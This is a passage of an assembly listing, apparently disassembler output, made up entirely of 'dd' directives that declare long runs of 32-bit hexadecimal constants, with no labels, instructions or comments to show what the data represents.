		dd 31063703h, 0B95ACC26h, 0CEC19C1h, 2CEA1875h,	6B8D7F84h
		dd 177933BDh, 163921C2h, 0BCC4CE3Bh, 0F817B2B8h, 0A1A1A2A9h
		dd 0E7449751h, 0EA16B1B0h, 0D191AAEFh, 9AF217F5h, 0E72CF037h
		dd 0C63CF5F0h, 3193717Fh, 0D7FA59Ch, 179D5AF9h,	69DE028Fh
		dd 96A1884h, 0D16F4BE4h, 839C53FDh, 0B9F88DCAh,	11341F6Fh
		dd 0F9E9C41Fh, 79656D47h, 6ABEB7A3h, 92C7090Ah,	7C0F13Fh
		dd 0BB3FF39h, 6B770A6Bh, 0BCB452DEh, 184DFF9Ch,	0E74EC91Fh
		dd 0EAEB8C6Ch, 0F840A9CAh, 0C6862CB9h, 60BAF059h, 0F1783C21h
		dd 0D4F848E8h, 0E22A1906h, 0F8A24C6Fh, 36904BE5h, 3667E364h
		dd 75CB6FD2h, 0BBE412A8h, 0E6F3E3A2h, 8B7844B7h, 2F843000h
		dd 0D9CD0B4h, 0B2B6B6FDh, 902976A8h, 841A7001h,	8C316F93h
		dd 89DC7FEDh, 222CF2B6h, 2D69D001h, 84189020h, 44F8C5F1h
		dd 5FDFCB6Ah, 1B107C0Ch, 3FAE3318h, 2CF8829Eh, 0ABD938BBh
		dd 330AA87Ah, 74ABABAAh, 8D974E3Ch, 0EA9A700Dh,	0B53AED23h
		dd 0D17790C2h, 2B8C6DDh, 289B7827h, 0B9FB973Ch,	0CADA87E6h
		dd 34B72DC9h, 0FD238A54h, 30CDEB3Eh, 8D227FA7h,	26EA213Dh
		dd 42A41CF0h, 39C9161Bh, 9B013C45h, 0D11D5773h,	28772420h
		dd 1D61A787h, 1AE9817Fh, 1001010Ch, 0DF51AF53h,	0E56536CAh
		dd 370DEF05h, 959CAAD5h, 81387980h, 5C6BFAF0h, 0B6EA16AFh
		dd 9BC6E6AAh, 0A5EAE662h, 0C6DAF2CFh, 0D535B6C2h, 481AD3CDh
		dd 0AE84802Ch, 126D6619h, 0EF6BA58Dh, 0D05C9860h, 9F024D02h
		dd 0F1A7F6E4h, 0EC39F1F0h, 7091A33Fh, 123B0819h, 0BB691064h
		dd 79BE1006h, 0E74E9C6Dh, 0AC5A98E8h, 0A3A6020Eh, 0DFBBD53Fh
		dd 0CD0C3A23h, 9E035AAEh, 0E7FCEC1Dh, 0A230F45Fh, 0F7718DC5h
		dd 0B2FF9F70h, 64870F44h, 43575ECh, 2736D314h, 0B2E1EAE7h
		dd 5CCA4957h, 436D946Dh, 0E7348BBCh, 30A2AB6Fh,	28480312h
		dd 37048D42h, 0CCF2EB97h, 65394366h, 0FABDEAA5h, 0F9E8809Eh
		dd 0DFABCEE1h, 0E22261D4h, 0C19451F1h, 44AD7370h, 55B85D5Fh
		dd 64949387h, 26D6B94Ch, 0AF7A5CD2h, 0E42BF446h, 0DB44ABD8h
		dd 1C513250h, 8B364B0h,	0BEA835A7h, 0BD75717Ah,	0F9906290h
		dd 846CBF10h, 149E7B3h,	202F6B23h, 0AF3A3422h, 0FC680395h
		dd 18C7FB5Eh, 0A4659138h, 0BB3B871Dh, 59C262DBh, 0E71621A2h
		dd 0FEA898F4h, 96344B3Fh, 4D3D7279h, 34745B86h,	0B4F9863h
		dd 0FA7012AFh, 8FD2889Ch, 919F6859h, 110E15CEh,	0F1B1B53Eh
		dd 9A6ADAC6h, 0AB85B4A7h, 0CCC425A9h, 0AD219E4Bh, 0C230AFAFh
		dd 0BEA00542h, 45A441B6h, 9D73884Ch, 79B1A5B9h,	0C11A9A9Dh
		dd 0FD47EEAEh, 0E31A7172h, 343D4637h, 0F5AA1B43h, 0FB304B01h
		dd 1756D4ADh, 0C2DD1256h, 655812CAh, 0C6639930h, 0A66730ECh
		dd 5842D247h, 2EF763ABh, 0A3F516BCh, 567E3634h,	884E852Bh
		dd 11224202h, 0FCCE82FAh, 0DDAF9D53h, 0D2CDB4CAh, 62014E5Bh
		dd 8F8D0B18h, 7EBC7123h, 0A352102h, 0DAE6CAD0h,	0CDEB9526h
		dd 44A0BC69h, 8463C9CBh, 30221734h, 0F99F8682h,	4757D722h
		dd 140FC079h, 0D69121B6h, 115DB8CBh, 0BD525F5Ch, 28C6F1B8h
		dd 0F3B67F7Dh, 0A2EBD033h, 48BD72CFh, 0D564DA3Eh, 7D8A3795h
		dd 119D3270h, 0AE7EF32Bh, 8BF67BCFh, 0F8E63623h, 0BAF48CEBh
		dd 0AFEE67BEh, 0FC265F2Ch, 0A32458DDh, 0DF6556FEh, 31D54605h
		dd 5160279Dh, 0EE94F57Eh, 6EBB04Fh, 63FFEF10h, 57F7747Fh
		dd 49E11D55h, 99FFDF28h, 0E16E09BEh, 79399240h,	0DE8F09F5h
		dd 0C4CF9245h, 7EE5307Bh, 0A31958BBh, 0DC520FF9h, 50AA974Fh
		dd 0D99288E1h, 256A9F0Ch, 572FF56Eh, 0DBC68F42h, 3E144B72h
		dd 9F1395Eh, 0DEFE5CC8h, 49E48FD0h, 0F77307CAh,	2B31F218h
		dd 6112DF5Dh, 3A4E3048h, 0DEEA5073h, 3E6885C9h,	1F912889h
		dd 4ED1C8CEh, 8A084FBBh, 0CC681047h, 0BE238A4Fh, 68CB1267h
		dd 9459F9E9h, 84EB9FB9h, 0B7EDF926h, 6F5D7A53h,	0F925C4E8h
		dd 0AFBAD075h, 0CE4A794Ch, 0CF7108D8h, 7441B5FCh, 0AA74F69Eh
		dd 2BE7C9EEh, 377BF236h, 50E3359Eh, 0D0DE617h, 5D4774A0h
		dd 0C844F3ADh, 0BDC70D6Fh, 96A61070h, 6914018Ah, 0CE652483h
		dd 8ADEFAEBh, 0A98387F9h, 316EBBCDh, 7FECAC90h,	5FFE4ED8h
		dd 0CB0841B6h, 0CDDC4AABh, 47DC5707h, 5FEC93EAh, 0B84CD550h
		dd 0D3DED283h, 9BFCDA8Fh, 15B08275h, 5449057Eh,	25CF7BAEh
		dd 0B4DA086Dh, 0ABF8DB45h, 8B5A481Fh, 5106BA60h, 6FFD37Ah
		dd 44D98918h, 9476743Eh, 895C94A4h, 274E982Ch, 3FA4B9D8h
		dd 143DBCACh, 85579AB4h, 275EBF9Ch, 8AC9F2B3h, 0E20C6805h
		dd 0AF8958E7h, 55924A5h, 0F21789DFh, 0D9F1E62Ah, 244FBFA9h
		dd 0FCB9724Ah, 55C84842h, 34B63736h, 7D0EA8D6h,	75F439B8h
		dd 0E8A521D6h, 0EC5F971Ch, 0A57F6C04h, 8CDA74A8h, 0EBE2F56Ah
		dd 57F6972Ah, 3B392D48h, 890862EBh, 5A9C2A25h, 0A311558Bh
		dd 8F8D41C1h, 0E8A7E906h, 7CA5AB33h, 278D42A4h,	8D351C42h
		dd 0D2668ECDh, 5092C246h, 56A2A8E5h, 0C48C29B5h, 563E461Ch
		dd 3653BFFAh, 30A15DC0h, 4B51CAC3h, 95153530h, 0BFC19CD5h
		dd 0CCA2D717h, 88B47468h, 44AC18C6h, 0A8E57F8h,	6E55D4A1h
		dd 177AA457h, 0F06FAC0Ah, 7E512BFAh, 0CA253F55h, 0D329B2A3h
		dd 14BC5A5Ah, 0EEB239BBh, 0EEFC9A50h, 7AF08CA8h, 5E112886h
		dd 0B8CAA514h, 37E6F380h, 0D4064978h, 0E7962540h, 71625564h
		dd 33688275h, 8DC64F4Eh, 0A1503264h, 12A8E719h,	51169ECCh
		dd 0C93126CFh, 0F130A3CFh, 0CC3520E1h, 839CB42Ah, 32790011h
		dd 99750527h, 0F93E8BC5h, 2EA21770h, 8EF24576h,	8AF19E0Ch
		dd 2A251BE0h, 2B305682h
		dd 40343F82h, 43ADE411h, 18D3967Ch, 7F507E21h, 0E407885h
		dd 540D0266h, 3477C7B0h, 126E38D6h, 8C819F9Ch, 0E9371C35h
		dd 699C160Ch, 291FA40Bh, 6D316396h, 0C451CED4h,	1B50E19Ah
		dd 106FF01Dh, 0EC1D4F1Dh, 0A438CC61h, 4E6386Fh,	1496FBCCh
		dd 1C5B6A3Ah, 63D45537h, 0ED44DC74h, 7C644177h,	7233B03Ah
		dd 3C1C5844h, 10F547Ch,	0C69EAB57h, 3D21872Ah, 0DAF4FCD9h
		dd 0C3814BCCh, 0B9C46BC3h, 87D2BED4h, 0A578013Ah, 696BB299h
		dd 0ADACAEAAh, 0C0BE65A9h, 88E931D9h, 0CA87D28Eh, 0A34E6578h
		dd 179371D7h, 0A05AA503h, 3454725h, 23605E95h, 28D50DC7h
		dd 6B3EB554h, 0B4F0E468h, 90CB3F29h, 64A53EA6h,	0FA05C610h
		dd 86227286h, 0D786A38Dh, 0D88A21C2h, 1ABBC207h, 8A87367Bh
		dd 518E8F16h, 34696B5h,	0EA0758E1h, 1C2A3AA3h, 1ED1FDA2h
		dd 991D6D1h, 0FEF47D52h, 0A2B39689h, 11AF1179h,	48AF0A69h
		dd 5E5432B2h, 0D1A9A028h, 92163189h, 0E81E68C5h, 3353D653h
		dd 52448951h, 0B9A8F6D4h, 0EBBEB928h, 0A41F2F2Ch, 0C5D1158Fh
		dd 2261582Dh, 8A419FFCh, 5471F3CEh, 241884D3h, 0EA2B8135h
		dd 4880F7C5h, 28A56939h, 18AA1F2Fh, 168E3A79h, 5CF0ECDEh
		dd 65CB1425h, 21F64C89h, 86A463B1h, 8641DBE8h, 6E9537Ah
		dd 0E471A02Bh, 705EA3BBh, 822A866Ah, 96462337h,	7C219DCEh
		dd 2A993C43h, 550CC9E6h, 0C3BCD422h, 2695B34Bh,	0D45BF723h
		dd 91AE49BFh, 0B9E61503h, 0AED22F70h, 6DA9F071h, 0FDEA79CFh
		dd 5633A950h, 218A5E90h, 0DC7CD13Dh, 0FABF3CEDh, 1C2633F8h
		dd 0A25EFB20h, 4554F28Bh, 0F9888067h, 72896D17h, 6F7541A4h
		dd 749BC3D6h, 0E69D890Eh, 1D662083h, 102ABC15h,	13C19CDEh
		dd 3219888h, 40325DF8h,	322D8790h, 0CEE49B06h, 0B44DF092h
		dd 0E192357Ch, 8F07B681h, 9117D8C3h, 6583CCF1h,	55E51288h
		dd 33042A38h, 6BF46EC3h, 18C0C16h, 782CF30Ah, 0DB22DCCEh
		dd 806B8228h, 3A81F508h, 84FE6140h, 506206E3h, 22A06E00h
		dd 6C0C2FA8h, 0A79C31DEh, 0A3A584E8h, 530A1812h, 9E249B1Dh
		dd 4B40D581h, 7E90F982h, 0AD28187Ah, 424840DDh,	0F945167h
		dd 3349DC67h, 0EE9F999h, 4368AD2Eh, 7AA5619h, 520D84C6h
		dd 61811F98h, 0AE197226h, 0D1DF0588h, 6624D404h, 16B8C357h
		dd 78C06DC1h, 42F3C53Eh, 0A8E92FA9h, 7200E300h,	21CAB7E7h
		dd 64AB2C64h, 45A79443h, 34F2A9DAh, 0CFCBCA71h,	725A7D39h
		dd 869B7816h, 83CC2Ah, 977DA57Ah, 34E54A44h, 8FBDF48Eh
		dd 4A8E8F9Ch, 0A920C3AEh, 0B0FAC31h, 63CC2ABh, 64C12D0Ch
		dd 0BB64B38h, 730B4A37h, 70C34416h, 827E095Fh, 0B8EE6A63h
		dd 808AEB92h, 8CAB08AFh, 0B501928Bh, 2331BCBCh,	19865521h
		dd 0E0954A46h, 10D8D024h, 3C8D0D61h, 3B36B11Dh,	0C226226Eh
		dd 43CD7259h, 54490450h, 0D0FFFDCBh, 4C989868h,	0FF3CB535h
		dd 0EFEA393h, 46488A6h,	4D83F83h, 1204E884h, 0EBFA8D4Fh
		dd 0EFAF5F0Dh, 8635CFC3h, 864513E9h, 131E198Ah,	3F21CA9Fh
		dd 2D205304h, 561161Ah,	21B6E718h, 440164AEh, 8EED16F3h
		dd 1AAD4110h, 22C345A3h, 0BDF47EDBh, 0A39FF7DCh, 11B5E987h
		dd 283A1121h, 0A4B86FA5h, 0FAFAD386h, 0FBFB4CDFh, 0D6927AE8h
		dd 62153CA7h, 534FAF5Fh, 1E192F8Ch, 0E8626619h,	4AFF7439h
		dd 40F39ADEh, 6264216Fh, 0EB0FC8D8h, 0F7255303h, 0FEEBE7EFh
		dd 4D3C4CFAh, 0B98661ECh, 0A2EB362Fh, 0B48D93C7h, 0E5D0ED00h
		dd 88A21900h, 1BC3B4EDh, 2AA74FDDh, 396B3882h, 26C68425h
		dd 364C5FE1h, 0F661DD49h, 0F819F6D0h, 957E9A22h, 61EB59DCh
		dd 0AE1CE8D6h, 742C7DA6h, 3496697Ah, 0B5341D8Bh, 3B37D8A5h
		dd 0BF1CBCAAh, 0DE035A25h, 0D745A73Bh, 0E5628444h, 0BC4C128Ah
		dd 8E683AC0h, 5A1B9B7Ah, 0B20B012Eh, 7DD50105h,	72F2A329h
		dd 1130A9D7h, 0CE88E2Ah, 6A86F94Ah, 708ABC4Ah, 98D369DDh
		dd 0A881A7A0h, 8107D62h, 8ECF905Eh, 4F11701Ah, 123B311Bh
		dd 0EE3222AFh, 0FD555A10h, 3CBDC46Fh, 0EB429712h, 138C971Bh
		dd 90FBC03h, 4A916D1Ah,	38B8D5B1h, 7896F12h, 6C756544h
		dd 4AE3E128h, 0FEA52961h, 0D80DC716h, 0A9C7FFADh, 2C0443EDh
		dd 0B70DC7B7h, 0BF2E44C4h, 0C87C7628h, 0D3E413Eh, 0F225E972h
		dd 0F940528Bh, 0AE9A9C26h, 4D97ADBEh, 7198DD1Eh, 7B99C823h
		dd 0C4F1A9D5h, 0DAA1BB78h, 16B8B153h, 0E35BEDB5h, 40C5B0Bh
		dd 0D8BA4B5Ch, 6385108Fh, 4AB4341Ch, 645A6B20h,	7CFB9EC4h
		dd 9C0AE745h, 34872C19h, 0E441649Ah, 897C0A22h,	80D8DA51h
		dd 4B6887D9h, 6E41DD60h, 1B5D2532h, 1F79B825h, 74035C4Bh
		dd 2F45A3Eh, 0F355B3DEh, 9EC08848h, 54AFE3A6h, 805EC48Ah
		dd 2D27807Bh, 54125811h, 3DA2F0EEh, 2E4D4D58h, 0E1AAF909h
		dd 653166BCh, 8C769A4Eh, 979B65DCh, 458C328Fh, 8F317B1h
		dd 6B54604h, 5ABE2C6Dh,	76182F08h, 0DA6A8EF2h, 0C4848EF0h
		dd 0ED161ED2h, 0FC29778Bh, 8A2CB8B4h, 256CF5A5h, 0C4A715CEh
		dd 0BC7F92B5h, 0E78F12h, 0B407BAB0h, 84957C12h,	56812217h
		dd 6DD2DD17h, 0C0721389h, 0E42B00C3h, 73B3589Ch, 61D8A5CDh
		dd 9CA8A62Ah, 868F7D0Bh, 8E8E1187h, 0BF832F9Fh,	197700D5h
		dd 0C0C5C5C3h, 99358B21h, 0E01877F0h, 3E2E1932h, 8EEC0E06h
		dd 3FE1E335h, 9E3700DEh, 7031CCE1h, 99AD1760h, 1977F00h
		dd 25C3026Eh, 6A1C0C4h,	7F872E6Bh, 72EE01A1h, 818C4B86h
		dd 0CD702B03h, 685FF015h, 0E182BB80h, 0C0E06292h, 59359CAh
		dd 9700D57Fh, 189670C5h, 0D73FB038h, 0B57FC364h, 0E19B2E01h
		dd 81C0C5FAh, 4AE6B45Dh, 80603FF8h, 0FAE192BBh,	18E1C0C7h
		dd 0C90E4D62h, 72E01B25h, 0C406E18h, 6B60581Ch,	62DFF03Ch
		dd 9C30F380h, 0AC0E0635h, 0F0CD35C1h, 0A38069DFh, 0A01D526Fh
		dd 213891A3h, 3B42EBC2h, 42EBE0BBh, 0C892B8FBh,	0CA1C1E5Ch
		dd 8E2FEAECh, 147E304Fh, 882951D7h, 0A8CF2699h,	0B33CF2DCh
		dd 5040CA55h, 0FE490E59h, 4757F13Bh, 0CF6545C7h, 0F4EE52DDh
		dd 4D432961h, 26A976F2h, 948F0851h, 0B57BA6A7h,	0A58222E9h
		dd 0A9C7E9CAh, 603EE50Bh, 0CEB87A8h, 0FC3274E3h, 0C9B80683h
		dd 53A71867h, 806DDFE0h, 5DA7D29Bh, 0CE85EE48h,	0F53ED5FFh
		dd 0F9433AE8h, 6A7E2016h, 5BD345Ch, 42DF2867h, 0C0358FF8h
		dd 0F9433C2Dh, 1BDC682Ah, 30CE2AE0h, 7F806E8Fh,	86EE0181h
		dd 4AA3CC33h, 0C037B3D2h, 1E619E55h, 0B67FC155h, 27EAAE01h
		dd 0A4C90BC6h, 0F03297ACh, 0D92613C4h, 0E89F9E8Dh, 0DA19F777h
		dd 787911AEh, 9E36790Ch, 0E09AEDA1h, 6B8064DFh,	0E48D9432h
		dd 0D1F11C4Dh, 0A76CBBBCh, 9AF345E6h, 19978DA4h, 0F86248D2h
		dd 0F6C0BCD8h, 0EC92435Dh, 3700C6Bh, 9FB62E19h,	641D4196h
		dd 37F8D19h, 0EDF77D1Ch, 653427A7h, 0C9B29C0Dh,	7DDF4700h
		dd 80B7E9FBh, 35DE5383h, 0E196FDC0h, 369FB62h, 0F758E0E0h
		dd 0C9A72227h, 0EEF8B170h, 53838077h, 0BF700D7Ah, 7C58B863h
		dd 0C1C07BF7h, 0F9061929h, 5C33DFD2h, 127BBE2Ch, 814A7070h
		dd 8649EE01h, 4F77C58Bh, 0A94E0E01h, 0C53DC037h, 0EEF8B170h
		dd 5383800Fh, 0FEE01B56h, 0F8B170C0h, 0C1C069EEh, 0B8061D29h
		dd 162E19A7h, 7011FDDFh, 321CA70h, 6E191FDCh, 46DC0C60h
		dd 5D29C1C0h, 0C8DB806h, 0EE062837h, 29C1C019h,	0EE147366h
		dd 0C5B38619h, 7009FDC0h, 0A0D72C70h, 0E189FDC3h, 0CF7031ECh
		dd 994E0E02h, 967B8068h
		dd 0C0C706E1h, 1C1C026Dh, 70E9F2EBh, 486E189Bh,	8073DC0Ch
		dd 3E1D6383h, 8639EE1Dh, 0F7031A1Bh, 58E0E002h,	7B874F47h
		dd 6392E181h, 0E0336E0h, 74F6758Eh, 970CCDB8h, 22F70312h
		dd 9D94E0E0h, 1917B806h, 0DC0C586Eh, 897B804Bh,	0EE01B3C6h
		dd 2B3B8625h, 0C065EE06h, 0C4729C1h, 5C332F70h,	16DC0C6Ah
		dd 0DD29C1C0h, 0C2DB806h, 0EE063C37h, 538380CFh, 0EA3906ACh
		dd 0D9DC333Fh, 15B7031h, 0C38A707h, 6E195B70h, 36DC0C44h
		dd 0E329C1C0h, 18DB700Dh, 0AE062D2Eh, 4A707003h, 83AE01AEh
		dd 0C0C646E1h, 76DC076Dh, 0EA0AE84Dh, 0EE19DB70h, 57B8189Ch
		dd 34A70700h, 615EE019h, 0E06373B8h, 4E0E0076h,	0DB806659h
		dd 188E70C1h, 83809DB8h, 0C033EE53h, 0F3B864EDh, 2FEE062h
		dd 78D0BFB8h, 85FDC031h, 818FCEE1h, 5DB805DBh, 700C5E34h
		dd 3D2E18BBh, 0E0376E06h, 67D94E0h, 970CDDB8h, 7B70311h
		dd 1C687B70h, 30F6E018h, 0B818A8DCh, 4BDB80BDh,	0B700CD78h
		dd 882EE197h, 70157B81h, 0AC067C70h, 70CABDC3h,	0BDC0C617h
		dd 8D7B806h, 5EE019FFh,	31D1B863h, 700FB70h, 0E9284C7h
		dd 0FEE18FB7h, 75EE0623h, 9AEBDC0h, 0EE1D2DBDh,	28BB8675h
		dd 0C00DEE06h, 0D27841BDh, 0C306F700h, 7B81898Dh, 0D26F7013h
		dd 0BDC0373Ch, 636370C9h, 6E03F6E0h, 353E13Fh, 1B867EDCh
		dd 16F70317h, 794E0E0h,	316F700Ch, 7031C5DCh, 4E0E036Fh
		dd 7B8068D9h, 892EE19Bh, 70077B81h, 367E10EFh, 70C3BDC0h
		dd 77B818CEh, 0ECA70701h, 0CBBDC037h, 0C0C69770h, 0F7B807BDh
		dd 0E0181C68h, 0CBB863DEh, 7DEE062h, 63D29C1Ch,	0E19F7B80h
		dd 3EE06332h, 629C1C00h, 7C36E831h, 63E370C0h, 0EE000EE0h
		dd 303E100h, 9B8601DCh,	57F70310h, 7F087DC0h, 43EE01A7h
		dd 63CBB86h, 0FEE020EEh, 5AA209AAh, 0C32BFB87h,	7703115Dh
		dd 55807008h, 7700CAAh,	62B2E19h, 1C023EEh, 1D188996h
		dd 65C310EEh, 0C7DC0C7h, 0FE688FB8h, 623EE01Ah,	0E0632BB8h
		dd 0C7DC013Eh, 700DC784h, 4E5C331Fh, 0C061DC0Ch, 3D09A27Dh
		dd 13EE1D17h, 3189B86h,	0EE029F7h, 806ABAD3h, 9370CC3Bh
		dd 6FEE062h, 5D694FB8h,	3EE144B5h, 62ABB865h, 0B80EFEE0h
		dd 1B3B51BFh, 70C6FEE0h, 1DC0C757h, 15601C01h, 0EFEE01B7h
		dd 818AE70Ch, 47700CFBh, 0E01A9F08h, 0E4DC308Eh, 1CFB818h
		dd 23CD19F7h, 0C67DC03h, 0EE062537h, 0AF7DC00Bh, 28F12D91h
		dd 370CF7DCh, 82E0635h,	479A5EB8h, 865EB806h, 0FB818DCBh
		dd 0D23F7012h, 0FDC0323Ch, 317970C8h, 3B809D70h, 18E7449h
		dd 0E5C324EEh, 0AC65C0C7h, 2EA0D651h, 0DC0351CAh, 4D770CE7h
		dd 0C028DC0Ch, 0A3F3417Dh, 0BEE145Fh, 81882B86h, 617000BBh
		dd 0B80693C2h, 8B4DC330h, 5C02CB81h, 31CE890h, 0AEE1905Ch
		dd 6CB818Dh, 0A4F0885Ch, 70C42E01h, 0AEE063D3h,	0D497DC04h
		dd 2FB8066Fh, 630AE19h,	9D70072Eh, 0D2A1909Ah, 0AE193AE1h
		dd 226E0628h, 0BF528EE0h, 328EE019h, 0B8188CDCh, 7FB8049h
		dd 0E018B7FCh, 0D770C1FEh, 55DC0C5h, 7FE0AFB8h,	15F700D8h
		dd 0E063B9C3h, 0D7DC06AEh, 0E0196EB4h, 0E2B866BEh, 0E0173818h
		dd 0D69FE0BAh, 0C5D70A3Fh, 70312570h, 6FB8085h,	0B80659FEh
		dd 34AE186Fh, 7008AE06h, 0A67FC2DFh, 865BEE01h,	3703199Bh
		dd 51DF7003h, 0BEE01B3Bh, 3159B863h, 0AE01D770h, 0D6BFE1Bh
		dd 570CDD70h, 6E70316h,	0F093FDCh, 0C9FEE019h, 7031E570h
		dd 63B80C5h, 0B8063DFFh, 3B370C63h, 7004AE06h, 63DF69C7h
		dd 70CE3B80h, 0CAE06273h, 2C7F8701h, 0F5D1167Fh, 3F70435Bh
		dd 0D9B818Bh, 33FC1328h, 8626700Ch, 6E063EBBh, 0E0E2E03Eh
		dd 1700D13Fh, 637370C7h, 0D7014AE0h, 342CF283h,	0F970F5C0h
		dd 0CDC0C5E6h, 5A09DC04h, 27700DCFh, 0C7E6E18h,	0C5C01CDCh
		dd 0F86251AFh, 0EF9CF141h, 9FB81882h, 0FF0CCE01h, 0CCF486B5h
		dd 630B70Ch, 25C07AEEh,	1BD7FC0h, 2AE1812Eh, 2E6E062h
		dd 1DFE112Eh, 8644B806h, 6E0621BBh, 0E092E01Eh,	9700C07Fh
		dd 319570C4h, 67000B70h, 1B77F81h, 5570C2CEh, 10B7031h
		dd 66FE0FD7h, 1FAE146Bh, 0C0C755C3h, 3FAE0055h,	700D93FCh
		dd 0E13FFDF4h, 0EF5F616Bh, 0CB965882h, 5CFFD426h, 9172A910h
		dd 3250E02Ah, 2970827h,	0B60E0C37h, 0D5D05DE9h,	83870D75h
		dd 2A0BB59Ah, 0C9E82EF7h, 9DC246B9h, 1C2E7703h,	0E75DA174h
		dd 383A5991h, 0C1725218h, 370B9D86h, 43A0B9CDh,	0E10BAECh
		dd 7FD708FCh, 0DF3D41C0h, 0B0F3EA45h, 8A82E02Dh, 0E82A0BBBh
		dd 1388A82Eh, 0FB05D6BFh, 0BCD82E65h, 81C26570h, 409AE23Bh
		dd 0AEE03F66h, 94BE8380h, 4AEE1B2Bh, 0D8381CB8h, 7EE173B8h
		dd 746C1750h, 0C74B60B8h, 8BB10605h, 12C3D78Ch,	0AAA60B85h
		dd 76D7505Ch, 0C3E5C1E5h, 2D3C435Dh, 0D77069B8h, 83874DC2h
		dd 0EA0BBC9Eh, 43A82ED6h, 383AEBBh, 0C55C67Fh, 0A570257h
		dd 175DD907h, 0CAB95A4Ch, 0E6DCA0E0h, 0BBAFE82h, 3F5CEC16h
		dd 0E1EBB83h, 79AEF03Ah, 16E1F370h, 0D6E741C0h,	3770155h
		dd 0F75D255Ch, 0E54D5701h, 1F7A178Eh, 3A4FDB24h, 485724ACh
		dd 7A4A7FAh, 0B4A77A44h, 58FD266Fh, 4353B4B7h, 0CFA49A7Ah
		dd 0C1ED21D3h, 2DBB48F4h, 3A48A324h, 49B7A4A0h,	5324A33Ah
		dd 0A4B2BA4Eh, 1A7A4A7Bh, 0C93E744h, 92E0E93Eh,	2FC901EEh
		dd 0C9290C93h, 2C5E9368h, 0CE92B6E9h, 91EAC92Eh, 94C92CCEh
		dd 0D100BE93h, 49F3A435h, 2FA4AAFAh, 0BF4B241h,	0E92E9EA5h
		dd 2B9C92C4h, 0EE92EDE9h, 92F4E901h, 0EAE929BEh, 0AD2D0C92h
		dd 0B95F2435h, 92A0EA47h, 0E1E929DEh, 0E93A5C92h, 2C1E930Ch
		dd 8C92A9E9h, 12CBE939h, 4619224Eh, 0CF24801Ah,	24CF724Dh
		dd 0B6F24A33h, 7A4C43A4h, 49D324A9h, 0A324C7F2h, 0A4BB7A4Dh
		dd 0BF324B83h, 0EBAB33A4h, 28FC92ABh, 0CE9227C9h, 92C7E92Ch
		dd 0BAE92AAEh, 0C92E6E92h, 244C9252h, 0EE92FAE9h, 921DC92Fh
		dd 0FAE92CCEh, 2AA54C92h, 27FF67F5h, 473A59FCh,	0E626ED80h
		dd 0AA019211h, 47F7920Dh, 0BFE23F7Ch, 867EC815h, 0D7E6259Dh
		dd 76A8B5D0h, 0A168C769h, 51B42BB4h, 2093F3B7h,	13B8EEECh
		dd 0EA1C1D84h, 0DB643DCFh, 51352E09h, 0EC8F5C4Ch, 8770CDC7h
		dd 4F0D0513h, 24ECF774h, 0D1049971h, 0FF65FBB8h, 53FD039h
		dd 0ADDF4116h, 2A3A08B3h, 0AB2CFB28h, 405BB09Fh, 0EE11B5FDh
		dd 0CB613F40h, 0BB9C3460h, 22E9DD3Fh, 0A0D689FAh, 0D954B82Eh
		dd 2019E47h, 1CFF52AFh,	0F453D926h, 0B66E1381h,	0A15C5C55h
		dd 9C0F4DF7h, 507D03h, 0EB704D7h, 82E03AEh, 94BE4B87h
		dd 7085B82Ch, 0C236E1ABh, 8C24181Dh, 73868DB8h,	7D252DC3h
		dd 363DB866h, 5FB22F51h, 0DE195C39h, 0B71F42Ah,	0C2B9C195h
		dd 9D35550Eh, 0F563589Bh, 948FC992h, 0BA6749F9h, 34BEDB3Fh
		dd 403AE245h, 56679E63h, 0AEAE327Eh, 0B8E26AB7h, 19B89171h
		dd 0C73C6F9Ch, 0CCDC022Dh, 8FC9713Eh, 45F7EAF4h, 0C48F8DF2h
		dd 0C6F9CD1Dh, 3A5C64FDh, 6BE68AC7h, 0CB1DC48Eh, 0DC7026F9h
		dd 0DA5B8019h, 91F92E27h, 912384DDh, 7122137Ch,	0F9AF9C9Dh
		dd 0B9D2E327h, 0C4DF3459h, 9CF1DC48h, 75C7226Fh, 9F4AF9D3h
		dd 5F596EB8h, 0F917D9D2h, 66E24526h, 8E24DC71h,	0B674C5Bh
		dd 1F92E27Dh, 4570CAD9h, 71225AE2h, 0B5C7227h, 0DB212DC7h
		dd 0CEF47D34h, 4F5C644Bh, 48BF6E24h, 0EDC7175Ch, 894B71C7h
		dd 6E27DE8Fh, 85D2F329h
		dd 0B71101ADh, 2E6E247Fh, 71C01DC7h, 5D6E0267h,	6533B89Fh
		dd 0C48A9F7Dh, 5B89101Dh, 0FFDCEDC0h, 0F6C6E327h, 0B71235AFh
		dd 0C81DF390h, 0F3A46F71h, 6F713EA9h, 8FEEF994h, 12303BE4h
		dd 5AF9CDD7h, 6C6E327Fh, 712283BEh, 36BE7267h, 700B3B8Eh
		dd 67FBF57Dh, 470F7CC9h, 0E245B5F2h, 77CE6CEh, 0D8DC64FDh
		dd 0B891ED7Ch, 0C1DF3973h, 0F50E771Ch, 0B8D8A0C7h, 0D0BA47E4h
		dd 0F22DCF24h, 0BB891C1Dh, 0FFB5F390h, 0CC675C64h, 89121DFCh
		dd 0EF9C55Bh, 3435B8E5h, 0ADC4FA36h, 8B4DF591h,	12343BE4h
		dd 0EF9C3D7h, 0B1B8C9F9h, 0C48E4DF5h, 537CE7ADh, 0C022EE38h
		dd 7713EDADh, 19D7CC91h, 122537C9h, 4DF389B7h, 0B1B8C9FEh
		dd 0C48B0EF9h, 0B3DF3955h, 0E0036E38h, 0DB89F536h, 0C2D1E720h
		dd 4567BE48h, 7CE52EE2h, 5C64FD87h, 0F3D7673Ah,	0A40C099Dh
		dd 1A865DC7h, 454DCBF7h, 4B529C78h, 5C4FBF73h, 7833A3F2h
		dd 0D983479Ah, 95B5A836h, 0E60C77ECh, 431A0BF9h, 0A5216796h
		dd 456CD328h, 8799FA6Dh, 0B99B15B3h, 0B16DA384h, 4D3DCE69h
		dd 47073B9Ah, 0DE190FDFh, 13BBE5BBh, 0FD3D6FFCh, 36973A36h
		dd 7FB8CD9Fh, 3EAB8D1Eh, 4CDF93E9h, 0F875C1F0h,	0DC9E54D5h
		dd 6AD0A11h, 0EAAB0875h, 0DB275F03h, 0C46E6C96h, 0B1D44FFh
		dd 69E99AB0h, 0E8CCC1AEh, 0D0A69B97h, 0F88F512Ah, 0ACD27DADh
		dd 5D247597h, 7ED2C188h, 2A4E9E99h, 6774EA78h, 0EB6D8B94h
		dd 0A465D50h, 0A1E06F1Bh, 0B62EFA53h, 0E1E34471h, 2353EE5Ch
		dd 0FF00CB1Eh, 0C759875Ch, 0BC8E7EFDh, 0AE3A2E73h, 0EA674A86h
